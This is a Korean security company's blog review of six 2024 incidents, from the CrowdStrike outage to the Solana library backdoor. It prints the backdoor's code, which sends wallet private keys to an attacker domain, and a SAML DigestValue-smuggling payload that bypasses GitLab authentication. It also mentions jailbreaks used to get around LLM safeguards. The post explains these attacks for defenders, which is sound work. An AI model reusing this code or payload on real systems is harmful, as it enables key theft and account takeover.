2024 하반기 Hot🔥보안 사건 사고

개요

2024년도 마무리가 되어갑니다. 이번 포스트에서는 Security Assessment 팀의 연구원들이 선정한 주요 보안 사건/사고들과 함께 올해의 하반기를 돌아보는 시간을 가지도록 하겠습니다.

• 상반기의 주요 보안 사건/사고에 대한 내용은 2024 상반기 보안 사건 사고에서 확인하실 수 있습니다.

1. CrowdStrike Blue Screen

한국 시간 2024년 7월 19일 오후 1시경, Windows 운영체제를 사용하는 PC에서 아래와 같이 블루 스크린(Blue Screen of Death, BSoD)이 나타나며 전 세계 서비스에 큰 장애가 발생했습니다.

해당 사고는 보안 솔루션 회사 CrowdStrike의 보안 소프트웨어 Falcon Sensor에서 발생한 오류로 인한 것이었습니다. 문제가 발생한 Falcon Sensor는 실시간으로 엔드포인트 활동을 모니터링하고 잠재적인 위협을 탐지/분석하는 EDR(Endpoint Detection and Response) 기술과 악성코드를 탐지하는 안티 바이러스 기능을 제공하는 보안 솔루션입니다.

2024년 2월, Falcon Sensor는 센서를 통해 데이터를 수집하고 악성 행위를 식별하여 알려지지 않은 새로운 공격을 탐지하고 예방할 수 있도록 하는 Rapid Response Content 기능을 개발하고, 내부 테스트를 거쳐 배포했습니다. 추가로, Windows 프로세스 간 통신(Inter-Process Communication, IPC)을 악용하는 새로운 공격 기법을 탐지하기 위해 Rapid Response Content에 전달할 21개의 필드를 포함하는 새로운 유형의 템플릿을 작성했습니다.

이번 블루 스크린 발생의 원인은 이 템플릿에 있었습니다. 21개의 필드를 전달해야 했지만, 업데이트로 인해 20개의 필드를 전달하게 되면서 Out-of-Bounds memory read 에러가 발생하여 블루 스크린이 나타나게 되었습니다. 에러에 대한 내용은 아래와 같습니다.

1: kd> dp @rax l0n21
ffffae03`5f57f280 ffffae03`5f57f320 ffffae03`5f57f330
ffffae03`5f57f290 ffffae03`5f57f340 ffffae03`5f57f350
ffffae03`5f57f2a0 ffffae03`5f57f360 ffffae03`5f57f370
ffffae03`5f57f2b0 ffffae03`5f57f380 ffffae03`5f57f390
ffffae03`5f57f2c0 ffffae03`5f57f3a0 ffffae03`5f57f3b0
ffffae03`5f57f2d0 ffffae03`5f57f3c0 ffffae03`5f57f3d0
ffffae03`5f57f2e0 ffffae03`5f57f3e0 ffffae03`5f57f3f0
ffffae03`5f57f2f0 ffffae03`5f57f400 ffffae03`5f57f410
ffffae03`5f57f300 ffffae03`5f57f420 ffffae03`5f57f430
ffffae03`5f57f310 ffffae03`5f57f440 ffffae03`5f57f450
ffffae03`5f57f320 ffffd603`0000006a

1: kd> !pte ffffd603`0000006a
 VA ffffd6030000006a
PXE at FFFFFE7F3F9FCD60 PPE at FFFFFE7F3F9AC060 PDE at FFFFFE7F3580C000
PTE at FFFFFE6B01800000
contains 0A00000107A00863 contains 0000000000000000
pfn 107a00 ---DA--KWEV contains 0000000000000000
not valid

20번째 인덱스까지는 정상적인 값이 들어가지만, 21번째 인덱스에는 유효하지 않은 주소가 들어가 있습니다. 따라서 유효하지 않은 주소 접근 시도에 따라 CPU에서 엑세스 위반 예외가 발생하고, 그 결과로 블루 스크린이 발생했습니다.

다행히 해당 에러가 직접적인 원인이 되어 추가적인 보안 위협이 발생하지는 않았지만, 이 사건을 계기로 생긴 패치를 찾던 피해자들을 대상으로 공격자가 가짜 패치 파일을 배포하는 일이 있었습니다. CrowdStrike는 아래 링크의 블로그 포스트를 통해 악성코드 배포를 위해 CrowdStrike와 유사한 도메인을 악용한 사례를 언급하며, 공식 채널을 통해 담당자와 소통하여 기술 지원을 받아야 한다는 것을 알렸습니다.

• https://www.crowdstrike.com/en-us/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/

• https://www.crowdstrike.com/en-us/blog/falcon-sensor-issue-use-to-target-crowdstrike-customers/

이번 사건은 소프트웨어 개발 및 코드 검수를 통한 패치 코드 제안 시 추가적인 버그의 발생을 방지하기 위해 철저한 크로스 체크가 중요하다는 것을 알려주는 사례입니다. 앞선 개발 사이드 이펙트로 발생한 보안 위협 사례에서도 살펴보았듯이, 새로운 기능의 추가는 잠재적인 보안 위협으로 이어질 수 있습니다. 보안 솔루션 업체들은 항상 이 부분을 생각하며, 보다 안전한 서비스를 제공하기 위해 노력해야 할 것입니다.

Reference

• https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/

• https://www.crowdstrike.com/wp-content/uploads/2024/08/Channel-File-291-Incident-Root-Cause-Analysis-08.06.2024.pdf

2. GEN AI Infrastructures Attack, LLM Hijacking

최근 대규모 언어 모델(LLM)로 대표되는 생성형 AI 인프라 사용을 위한 클라우드 서비스를 대상으로 새로운 공격 LLM Hijacking이 등장했습니다. 많은 피해 사례를 만들어내고 있는 해당 공격 기법은 LLM 애플리케이션 호스팅 서비스(예: AWS Bedrock)를 사용하는 피해자들을 대상으로 하며, 클라우드 서비스에서 발생하는 기존의 위협들과 마찬가지로, 주로 access key 및 크리덴셜 노출로부터 시작됩니다.

공격자들은 LLM Hijacking을 통해 피해자들의 LLM 서비스 비용으로 자신들이 호스팅하는 AI 애플리케이션을 운영하고 있습니다. 이들은 이를 통해 성인 전용 채팅봇 및 아동 대상 불법 성 관련 콘텐츠를 제공하고, 다양한 LLM Jailbreak 기법을 통해 콘텐츠 필터링을 우회하여 불법적인 수익을 창출하고 있습니다.

2024년 8월 Permiso가 블로그를 통해 공개한 내용에 따르면, 공격자들은 AWS access key를 획득한 뒤 기존 서비스[예: Simple Email Service(SES), Elastic Compute(EC2)]를 악용하던 지난 몇 년과 달리, Bedrock을 악용하여 더 큰 수익을 창출하고 있습니다. LLM 서비스 비용 증가 및 성인용 롤플레잉 AI 챗봇 서비스에 대한 수요 증가로 인해 LLM 서비스 악용이 공격자들의 더 큰 수익 모델로 자리잡게 되었습니다.

Permiso 팀은 허니팟을 통해 로그를 확인 및 분석하는 과정에서, 공격자들이 기존 LLM 보호 기법(safeguard)을 벗어나 자유롭게 불법적인 콘텐츠를 생성하기 위해 다양한 Prompt Injection 및 모델 Jailbreak를 시도하고, 그를 통해 성공적으로 서비스를 제공하는 것을 추가로 확인하였습니다. 이에 대한 구체적인 내용은 Permiso 블로그에서 확인할 수 있습니다. 해당 사례는 다양하게 관찰되고 있어, 12월에 올라온 Wiz 블로그 포스트를 통해 Wiz 팀이 발견한 유사 공격 사례(JINX-2401 campaign) 역시 확인할 수 있습니다.

LLM Hijacking은 생성형 AI 및 LLM과 관련된 새로운 공격 기법들을 활용하지만, 근본적인 발생 원인은 AWS 서비스를 대상으로 하는 기존 공격들과 동일합니다. 따라서, 문제 방지를 위해 클라우드 서비스 사용 시 기본적으로 IAM 정책에 최소 권한 원칙을 적용하고, 보안 모니터링을 강화해야 합니다. 또한, 동일한 access key 및 secret의 장기적인 사용을 지양하고, Identity Federation 및 Multi-Factor Authentication(MFA)를 강제하는 기본 보안 정책을 도입할 필요가 있습니다. 마지막으로, LLM 서비스 사용 여부에 따라 Service Control Policies(SCPs) 설정을 통해 Bedrock 서비스 접근 및 사용을 최소화 또는 제한하는 것이 필요합니다.

GEN AI 및 LLM 서비스의 급격한 성장에 따라 앞으로 더 많은 공격 벡터가 등장하게 될 것입니다. 이를 대비하기 위해서는, 공격자보다 앞서 그들의 니즈를 파악하고 기술적인 해결책을 지속적으로 개발 및 도입해야 할 것입니다.

Reference

• https://permiso.io/blog/exploiting-hosted-models

• https://www.wiz.io/blog/jinx-2401-llm-hijacking-aws

• https://aws.amazon.com/ko/identity/federation/

• https://aws.amazon.com/ko/iam/features/mfa/

• https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html

3. Side-Channel Attack on the YubiKey 5 Series

NinjaLab은 2024년 9월 Infineon Technologies의 마이크로컨트롤러에서 발견된 취약점을 다룬 연구를 공개했습니다. 해당 취약점은 YubiKey로 대표되는 Infineon의 마이크로컨트롤러를 사용하는 보안 장치에 영향을 미칩니다. 공격자는 ECDSA 서명 알고리즘에서 발생하는 취약점을 이용하여, Side-Channel 공격을 통해 전자기 방사 신호를 분석함으로써 비밀키를 추출할 수 있습니다. 공격은 전기 신호 변화를 볼 수 있는 장치(예: 오실로스코프)를 사용하여 YubiKey에 여러 번 서명 요청을 만드는 과정의 데이터를 수집하고, 수집한 데이터의 차이 및 패턴을 활용하여 비밀키를 추출하는 방식으로 이루어집니다.

Side-Channel 공격을 가능하게 만든 취약점의 근본 원인은 ECDSA 서명 과정에서 사용되는 모듈러 역수 계산이 상수 시간(Constant-Time) 방식으로 구현되지 않았기 때문입니다. 이로 인해 계산 시간의 변동이 외부로 노출되고, 공격자는 신호를 통해 장치의 내부 상태를 유추할 수 있습니다. 하지만 공격을 위해서는 장치에 물리적으로 접근할 수 있어야 하며, 고가의 전문 장비가 필요하기 때문에, 국가 지원 공격(State-sponsored cyberattack) 수준의 고도화된 위협 시나리오가 아니라면 현실적으로 공격이 발생할 가능성은 높지 않습니다.

해당 연구는 연구 과정에서 ECDSA 서명 알고리즘의 동작을 정밀하게 분석하고, 모듈러 역수 연산의 비상수 시간적 특성을 활용한 공격 가능성을 입증했습니다. 이는 Side-Channel 공격에 대한 깊이 있는 분석을 통해 복잡한 보안 아키텍처에서도 취약점을 발견할 수 있음을 보여준 멋진 성과입니다.

Reference

• https://ninjalab.io/eucleak/

4. Linux CUPS RCE

2024년 9월 26일, 보안 연구원 Simone Margaritelli는 리눅스 기반 시스템의 CUPS(Common UNIX Printing System)에서 발생하는 4개의 취약점을 공개하였습니다. Chaining을 통해 원격 코드 실행(Remote Code Execution)까지 이어질 수 있는 이 취약점들은 각각 cups-browsed(CVE-2024–47176), ibcupsfilters(CVE-2024–47076), libppd(CVE-2024–47175), cups-filters(CVE-2024–47177) 라이브러리에서 발생하였습니다. 취약점의 주요 원인은 네트워크 인터페이스에서 신뢰할 수 없는 요청을 처리하고, 입력 데이터를 제대로 검증하지 않은 부분에 있었습니다.

취약점들을 연결하면 Linux CUPS에 대한 전반적인 공격이 가능합니다. cups-browsed는 네트워크 인터페이스에서 신뢰할 수 없는 UDP 포트 631 트래픽을 수신하기 때문에, 공격자는 임의 IPP 패킷을 전달하고 공격자가 제어하는 주소로 시스템의 요청을 강제 전송할 수 있습니다. 이후 libcupsfilters 취약점을 이용해 조작된 IPP 속성을 서버의 프린터 속성으로 삽입함으로써, 임의 데이터를 시스템으로 전달합니다. 조작된 IPP 속성은 임시 파일(PPD)로 기록되고, 이 과정에서 임의 명령어 삽입이 가능해집니다. cups-filters의foomatic-rip는 구조적으로 PPD 파일 내 명령어를 신뢰하고 실행하는 문제를 가지고 있어, 공격자는 PDD에 삽입된 임의 명령어를 실행할 수 있습니다.

해당 취약점들은 CUPS가 기본적으로 활성화된 상태에서 네트워크 서비스가 설정된 대부분의 GNU/Linux 배포판에 영향을 미칩니다. 공격자는 이를 악용하여 네트워크에서 임의 프린터 설정을 배포하거나, 리눅스에서 인쇄 작성을 수행 시 임의 코드 실행을 유도할 수 있습니다. CUPS에서 발견된 이번 취약점은 단순한 인쇄 서비스의 보안 문제를 넘어, 네트워크를 통해 시스템을 장악할 수 있는 심각한 위협이 세상에 드러난 사례입니다.

Reference

• https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/

• https://www.akamai.com/ko/blog/security-research/guidance-on-critical-cups-rce

5. GitLab SAML Authentication Bypass

2024년 10월, ahacker1 닉네임을 사용하는 이용자가 Gitlab에 제보한 SAML 2.0 인증 우회 보고서가 resolve되고, ProjectDiscovery는 블로그를 통해 해당 CVE에 대한 내용을 작성하였습니다.

SAML 2.0은 웹 기반으로 Cross-Domain 사이의 Single-Sign-On(SSO)를 지원합니다. 예를 들어, 이용자가 접근하려는 애플리케이션(service-provider, sp)이 SAML 2.0을 통해 인증을 수행한다면, 이용자는 인증을 담당하는 서비스(identity provider, idp)(예: okta)에 접근하여 SAML Request를 전송하고, 발급 받은 SAML Response를 sp에 전달합니다.

SAML 2.0은 xml 기반의 인증 프로토콜로, 프론트 채널(브라우저)을 통해 인증을 수행하기도 합니다. 따라서 공격자가 SAML Response를 변조하는 위협에 방어하기 위해 idp는 자신의 개인키(private key)를 통해서 SAML Response를 서명하고, sp는 사전에 주고받은 idp의 공개키(public key)를 통해 서명을 검증하는 무결성 검사 로직이 존재합니다.

SAML 2.0의 무결성

아래는 SAML Response 중, Authentication/Authorization 정보를 포함하고 있는 Assertion element입니다.

<saml2:Assertion ID="id1978244104239461956894491" IssueInstant="2024-11-25T07:45:51.914Z"
    Version="2.0" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
    <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        http://www.okta.com/exk4inopqamS9Yhof697</saml2:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
            <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
            <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
            <ds:Reference URI="#id1978244104239461956894491">
                <ds:Transforms>
                    <ds:Transform
                        Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
                <ds:DigestValue>UP3fyYNL5o21aMutIIF+z5DHHCeK83HKMU9Jcyzweg0=</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>
            ARhr6QlCabLTfxw76iZKV0Edb2AkGWqveGa9WSRfLU5CBg2Xb5HvM8LFte1cvp+4WQwk5G5PG1ijRG31i06i1BvemUmUpBT5W8a62XWHopEHw/bCxm4qIBGM3T5MdeePsfJAG1gQ8cA/xIk9ILxvYp/ngFJ/zl0glRi11q1KHLiggUzwnCComItI6BaU8ELWAmFnX/goUOI530I2ypFfFKKyHqKBonzvVbnYxcyZtP/9pO4VGP1lT58o7IksolyO7mYhPTUC8fc2qH9qrPUCfwrayeimn3lmtNBQyRQT9jJ53jdsf4lf2KTZAgx6XqL6k7QZSzd2E0zosfj4Kg72gQ==</ds:SignatureValue>
        <ds:KeyInfo>
            <ds:X509Data>
                <ds:X509Certificate>{idp public key}</ds:X509Certificate>
            </ds:X509Data>
        </ds:KeyInfo>
    </ds:Signature>
    <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
            theori@theori.io</saml2:NameID>
        <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
            <saml2:SubjectConfirmationData
                InResponseTo="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
                NotOnOrAfter="2024-11-25T07:50:51.915Z"
                Recipient="https://github.com/orgs/mygithub-orgs/saml/consume" />
        </saml2:SubjectConfirmation>
    </saml2:Subject>
    <saml2:Conditions NotBefore="2024-11-25T07:40:51.915Z"
        NotOnOrAfter="2024-11-25T07:50:51.915Z"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:AudienceRestriction>
            <saml2:Audience>https://github.com/orgs/mygithub-orgs</saml2:Audience>
        </saml2:AudienceRestriction>
    </saml2:Conditions>
    <saml2:AuthnStatement AuthnInstant="2024-11-25T07:45:51.471Z"
        SessionIndex="_4b6233e38331ce08d6e0140a87ee951c3280fd6803cb75f4a59b0fac1c902627"
        xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml2:AuthnContext>
            <saml2:AuthnContextClassRef>
                urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
        </saml2:AuthnContext>
    </saml2:AuthnStatement>
</saml2:Assertion>

위 Asserition은 theori@theori.io 계정을 사용하고 있는 클라이언트가 https://github.com/orgs/mygithub-orgs에 로그인하기 위해 idp로부터 받은 SAML Response의 일부로, 이용자 인증 정보의 서명값을 포함하고 있습니다.

무결성을 검증하기 위해 사용되는 값은 DigestValue, SignatureValue입니다. DigestValue는 Reference 노드의 자식에 포함되어, 인증 정보(예: NameID, Audience)를 sha256 해싱한 값으로 구성되고, 해당 필드들의 무결성을 보장합니다. SignatureValue는 DigestValue를 포함하는 SignedInfo를 idp의 개인키로 서명한 값으로, DigestValue의 무결성을 보장합니다.

Exploit

SAML Response는 xml을 기반으로 하기 때문에, sp에서는 xml을 파싱하고 특정 element를 가져와 무결성을 검증하고, 인증 정보를 받아옵니다. 무결성 검증은 DigestValue 검증 후 Signature 검증을 수행하는 방식으로 진행됩니다.

Gitlab에서는 Ruby-SAML 라이브러리를 통해 이를 수행하여 특정 element를 조회 시 XPath를 사용합니다. 취약점은 DigestValue를 가져오기 위한 XPath Axes에서 발생합니다. 취약점이 발생한 라이브러리 버전은 아래와 같이 DigestValue를 추출합니다.

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)

위 코드는 SAML Response의 DSIG namespace에서 처음으로 나타나는 DigestValue를 찾고, 가져온 DigestValue와 Assertion 정보의 해시된 값을 비교하여 인증 정보의 무결성을 검증합니다.

하지만 SAML 2.0에서는 element를 valid한 namespace에 넣어주기 위해 디자인된 samlp:Extensions을 사용할 수 있습니다. 이로 인해, 공격자는 Assertion 노드 앞에 아래와 같은 element를 삽입함으로써, XPath Axes를 통해서 가져오는 DigestValue를 스머글링(smuggling)할 수 있습니다.

<samlp:Extensions>
    <DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
        {수정된 인증 정보를 포함한 Assertion의 해시 값}
    </DigestValue>
</samlp:Extensions>

삽입된 DigestValue를 공격자가 수정한 Assertion 정보에 대한 해시값을 갖도록 설정할 경우, sp에서 검증을 위해 가져온 DigestValue가 위에서 스머글링한 DigestValue가 되어 Digest 검증 로직을 우회할 수 있습니다. 또한, 이때 SignedInfo에 포함된 DigestValue는 변경되지 않기 때문에 서명값에 대한 검증도 함께 우회가 가능합니다.

SAML 2.0에서는 Assertion에 대한 서명 외에도 전체 메시지에 대한 서명을 수행하지만, 일반적으로 Assertion에 대한 검증이 통과될 경우, 전체 메시지에 대한 검증 실패가 인증 실패로 이어지지 않습니다.

해당 취약점은 현재 Ruby-SAML 팀에 의해 패치되었습니다. 취약점이 발생하는 버전의 라이브러리를 사용하고 있다면, 패치 이후의 버전으로 업데이트 하는 것이 필요합니다.

Reference

• https://projectdiscovery.io/blog/ruby-saml-gitlab-auth-bypass

• https://www.datypic.com/sc/saml2/e-samlp_Extensions.html

6. @solana/web3.js Backdoor

스마트 컨트랙트를 제공하는 블록체인 플랫폼 Solana는, 그 기능을 이용할 수 있는 공식 자바스크립트 라이브러리(@solana/web3.js)가 주간 약 50만회 다운로드될 정도로 활발하게 사용되고 있습니다.

2024년 12월 3일, 라이브러리를 관리하는 개발자가 스피어 피싱 메일을 받아 공격자의 웹사이트에 계정 정보를 입력한 것이 원인이 되어 @solana/web3.js 라이브러리에 악성코드가 추가되었습니다. 개발자의 계정 정보를 탈취한 공격자는 아래와 같은 악성코드를 패키지에 추가해 배포했습니다.

static addToQueue(process) {
  const b = bs58__default.default.encode(process);
  if (QUEUE.has(b)) return;
  QUEUE.add(b);
  fetch("https://sol-rpc.xyz/api/rpc/queue", {
    method: "POST",
    headers: {
      "x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
      "x-session-id": b.substring(32),
      "x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
    }
  }).catch(() => {});
}

addToQueue는 라이브러리에서 아래 목록의 지갑 관련 메서드 사용 시 호출되도록 추가되었습니다.

• new Account()

• Keypair.fromSecretKey()

• Keypair.fromSeed()

• Ed25519Program.createInstructionWithPrivateKey()

• Secp256k1Program.createInstructionWithPrivateKey()

해당 함수는 비밀키를 헤더에 포함하여 공격자의 서버로 전송하는 동작을 수행하였고, 이를 통해 공격자는 피해자의 지갑을 탈취할 수 있었습니다. 해당 악성코드의 영향을 받은 취약한 버전은 1.95.6, 1.95.7이며, 6시간만에 대응하여 악성코드를 삭제하였음에도 불구하고 16만 달러(한화 약 2.3억)의 자산 탈취가 발생했습니다.

오픈소스 라이브러리를 대상으로 한 해킹 공격은 빈번하게 일어나고 있습니다. 이전 포스트에 소개했던 XZ 백도어도 이와 비슷한 사례였습니다.

Reference

• https://www.anza.xyz/blog/web3-js-exploit-root-cause-analysis

• https://decrypt.co/294742/solana-web3-js-library-compromised-in-targeted-supply-chain-attack

마치며

이번 포스팅에서는 2024년 하반기에 발생한 보안 사건/사고를 다루어 보았습니다.

시스템을 보호하고, 최종적으로 보안을 달성하기 위해서는 의심 활동 모니터링 및 소프트웨어 검수뿐만 아니라, 최신 보안 동향에 대한 지속적인 관심이 필요합니다.

또한 여러 사례를 통해 볼 수 있듯이, 피싱으로 대표되는 사회공학 공격은 우리 주변에서 다양한 방식으로 발생하고 있습니다. 메일 또는 URL 접근 시 메일의 발신자나 URL의 소유자가 신뢰할 수 있는 대상인지 주의하고, 공식 경로를 통해 접근하는 것이 매우 중요합니다.

2025년에도 티오리 Security Assessment 팀은 꾸준한 사례 조사와 기술 연구를 통해 즉각적인 위협부터 잠재적인 위협까지 선제적으로 대응해나갈 예정입니다.

About Theori Security Assessment

티오리 Security Assessment 팀은 실제 해커들의 오펜시브 보안 감사 서비스를 통해 고객의 서비스와 인프라스트럭처를 안전하게 함으로써 비즈니스를 보호합니다. 특히, 더욱 안전한 세상을 위해 난제급 사이버보안 문제들을 해결하는 것을 즐기며, 오펜시브 사이버보안의 리더로서, 공격자보다 한발 앞서 대응하고 불가능하다고 여겨지는 문제를 기술중심적으로 해결합니다.